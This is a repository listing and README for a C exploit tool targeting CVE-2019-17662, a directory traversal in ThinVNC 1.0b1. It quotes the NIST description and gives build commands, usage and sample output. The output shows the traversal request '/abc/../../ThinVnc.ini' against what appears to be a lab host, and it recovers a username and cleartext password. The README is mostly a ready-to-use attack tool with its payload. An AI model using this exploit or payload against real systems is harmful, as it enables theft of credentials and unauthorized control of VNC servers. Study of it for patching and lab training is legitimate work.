https://github.com/whokilleddb/cve-2019-17662

Exploit for CVE-2019-17662 (ThinVNC 1.0b1)
https://github.com/whokilleddb/cve-2019-17662

cve cve-2019-17662 exploit poc thinvnc

Last synced: 6 days ago
JSON representation

Exploit for CVE-2019-17662 (ThinVNC 1.0b1)

• Host: GitHub
• URL: https://github.com/whokilleddb/cve-2019-17662
• Owner: whokilleddb
• License: gpl-3.0
• Created: 2021-10-02T15:57:11.000Z (about 3 years ago)
• Default Branch: main
• Last Pushed: 2021-10-02T22:35:59.000Z (about 3 years ago)
• Last Synced: 2023-03-05T03:36:27.176Z (over 1 year ago)
• Topics: cve, cve-2019-17662, exploit, poc, thinvnc
• Language: C
• Homepage:
• Size: 20.5 KB
• Stars: 1
• Watchers: 1
• Forks: 1
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

README

        
CVE-2019-17662


## Description

> ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.

>

>  ~ [NIST](https://nvd.nist.gov/vuln/detail/CVE-2019-17662)

## How To Compile The Exploit

```bash

$ git clone https://github.com/whokilleddb/CVE-2019-17662

$ cd CVE-2019-17662

$ make

```

## Usage

```bash

$ ./bin/CVE-2019-17662 -h

[~] Usage: ./CVE-2019-17662 -u URL [-f File]

[>] Options:

OPTIONS 	Desciption

-u URL 		Base URL

-f File 	[Optional] File Name To Query (Default: ThinVnc.ini)

```

```bash

$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/

[+] CVE-2019-17662 exploit by @whokilleddb

[o] Target : http://10.10.185.214:8080/

[x] File To Read: ThinVnc.ini

[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini

[:] Trying To Fetch Credentials

[-] User=Atlas

[-] Password=H0ldUpTheHe@vens

```